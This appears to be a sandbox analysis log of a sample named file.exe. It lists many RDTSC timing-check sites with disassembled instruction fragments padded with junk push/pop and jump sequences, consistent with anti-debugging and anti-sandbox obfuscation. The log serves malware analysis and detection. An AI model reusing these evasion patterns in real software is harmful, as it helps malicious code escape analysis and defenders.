Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2CC9 second address: 7D745B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34DB19C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jg 00007FAA34DB19C3h 0x00000010 lea eax, dword ptr [ebp+12487897h] 0x00000016 mov ecx, eax 0x00000018 jmp 00007FAA34DB19BBh 0x0000001d nop 0x0000001e jl 00007FAA34DB19BAh 0x00000024 push ebx 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 pop ebx 0x00000028 push eax 0x00000029 pushad 0x0000002a jmp 00007FAA34DB19C1h 0x0000002f push ecx 0x00000030 jmp 00007FAA34DB19C8h 0x00000035 pop ecx 0x00000036 popad 0x00000037 nop 0x00000038 adc dl, FFFFFFBAh 0x0000003b lea eax, dword ptr [ebp+12487853h] 0x00000041 mov dx, E548h 0x00000045 push eax 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 pop edx 0x0000004a pop eax 0x0000004b push ebx 0x0000004c jng 00007FAA34DB19B6h 0x00000052 pop ebx 0x00000053 popad 0x00000054 mov dword ptr [esp], eax 0x00000057 sub cx, 39F6h 0x0000005c call dword ptr [ebp+122D180Dh] 0x00000062 push eax 0x00000063 push edx 0x00000064 jnl 00007FAA34DB19BCh 0x0000006a jo 00007FAA34DB19B6h 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A39F second address: 83A3C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jg 00007FAA34ECFF5Eh 0x0000000b jne 00007FAA34ECFF56h 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FAA34ECFF60h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A506 second address: 83A513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007FAA34DB19B6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A513 second address: 83A532 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34ECFF62h 0x00000007 jns 00007FAA34ECFF56h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A7E7 second address: 83A7FF instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAA34DB19B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FAA34DB19BBh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A7FF second address: 83A80D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jc 00007FAA34ECFF56h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A80D second address: 83A82A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FAA34DB19C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83AB22 second address: 83AB57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34ECFF60h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jmp 00007FAA34ECFF5Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FAA34ECFF61h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F03C second address: 83F042 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F042 second address: 83F05A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA34ECFF62h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F05A second address: 83F05E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F05E second address: 83F062 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E921 second address: 83E942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA34DB19C0h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push esi 0x0000000f ja 00007FAA34DB19B6h 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E942 second address: 83E949 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83EA81 second address: 83EA9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FAA34DB19C7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83EBCD second address: 83EBD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83EBD3 second address: 83EBD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83ED43 second address: 83ED60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FAA34ECFF56h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FAA34ECFF5Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83ED60 second address: 83ED64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83ED64 second address: 83ED6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83ED6A second address: 83ED74 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FAA34DB19C2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83ED74 second address: 83ED7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 846C5C second address: 846C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 je 00007FAA34DB19CEh 0x0000000c ja 00007FAA34DB19BAh 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 846C75 second address: 846C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 846F50 second address: 846F5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FAA34DB19B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8473E8 second address: 8473ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8473ED second address: 847417 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34DB19BAh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FAA34DB19C6h 0x0000000e jnc 00007FAA34DB19B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F271F second address: 7F2724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2724 second address: 7F272A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F272A second address: 7F272E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F272E second address: 7F2795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FAA34DB19B8h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 stc 0x00000024 push 00000004h 0x00000026 push 00000000h 0x00000028 push ebp 0x00000029 call 00007FAA34DB19B8h 0x0000002e pop ebp 0x0000002f mov dword ptr [esp+04h], ebp 0x00000033 add dword ptr [esp+04h], 00000019h 0x0000003b inc ebp 0x0000003c push ebp 0x0000003d ret 0x0000003e pop ebp 0x0000003f ret 0x00000040 jmp 00007FAA34DB19BFh 0x00000045 push eax 0x00000046 jo 00007FAA34DB19C4h 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84C449 second address: 84C44F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84C44F second address: 84C455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84BACE second address: 84BAEE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jbe 00007FAA34ECFF56h 0x00000011 jmp 00007FAA34ECFF5Dh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84BC77 second address: 84BC7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8505D7 second address: 8505E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 jnc 00007FAA34ECFF56h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8505E6 second address: 8505EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84F95F second address: 84F975 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAA34ECFF61h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84FC11 second address: 84FC1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84FC1B second address: 84FC36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34ECFF5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007FAA34ECFF5Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84FC36 second address: 84FC3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84FC3F second address: 84FC47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84FEE2 second address: 84FEE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 857FC8 second address: 857FCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9676 second address: 7A968A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007FAA34DB19B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007FAA34DB19C2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A968A second address: 7A9690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9690 second address: 7A96B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FAA34DB19BBh 0x0000000a push edi 0x0000000b pop edi 0x0000000c jo 00007FAA34DB19B6h 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pushad 0x00000018 popad 0x00000019 pop ecx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A96B3 second address: 7A96C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FAA34ECFF5Eh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A96C8 second address: 7A96CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A96CE second address: 7A96E3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jp 00007FAA34ECFF56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jl 00007FAA34ECFF56h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C17E second address: 85C191 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34DB19BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C191 second address: 85C196 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C196 second address: 85C1A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA34DB19BBh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C2F7 second address: 85C2FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C2FB second address: 85C301 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C4A0 second address: 85C4A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C4A4 second address: 85C4BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34DB19C3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C4BB second address: 85C4D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAA34ECFF5Dh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C4D2 second address: 85C4D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C748 second address: 85C77C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34ECFF60h 0x00000007 jmp 00007FAA34ECFF68h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jnp 00007FAA34ECFF5Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A542 second address: 86A546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A546 second address: 86A54A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A54A second address: 86A553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A553 second address: 86A56C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 ja 00007FAA34ECFF6Eh 0x0000000b jnl 00007FAA34ECFF5Ah 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868F58 second address: 868F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FAA34DB19BAh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8690DB second address: 8690DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8690DF second address: 8690E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8690E3 second address: 869100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FAA34ECFF56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAA34ECFF5Dh 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 869100 second address: 869104 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 869104 second address: 86910C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86910C second address: 86911F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FAA34DB19BCh 0x00000008 pop esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 869262 second address: 869268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8693B6 second address: 8693BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8693BA second address: 8693D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34ECFF63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8693D4 second address: 8693D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8693D9 second address: 8693E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 869530 second address: 869560 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007FAA34DB19C3h 0x0000000a jmp 00007FAA34DB19BAh 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ecx 0x00000013 jng 00007FAA34DB19BEh 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8682A9 second address: 8682AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8682AF second address: 8682B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8682B3 second address: 8682B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87229D second address: 8722A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FCF5 second address: 87FD1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FAA34ECFF56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAA34ECFF67h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F923 second address: 87F929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F929 second address: 87F93A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FAA34ECFF5Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F93A second address: 87F946 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jne 00007FAA34DB19B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F946 second address: 87F94A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F94A second address: 87F950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88230A second address: 882327 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FAA34ECFF67h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888D3E second address: 888D80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34DB19C8h 0x00000007 jmp 00007FAA34DB19C0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 jmp 00007FAA34DB19BBh 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 popad 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88F459 second address: 88F4AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34ECFF61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007FAA34ECFF64h 0x0000000f jg 00007FAA34ECFF6Ch 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FAA34ECFF5Ch 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88F4AF second address: 88F4B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8935EA second address: 893621 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007FAA34ECFF66h 0x0000000c jmp 00007FAA34ECFF66h 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893621 second address: 89365C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FAA34DB19C9h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FAA34DB19C1h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
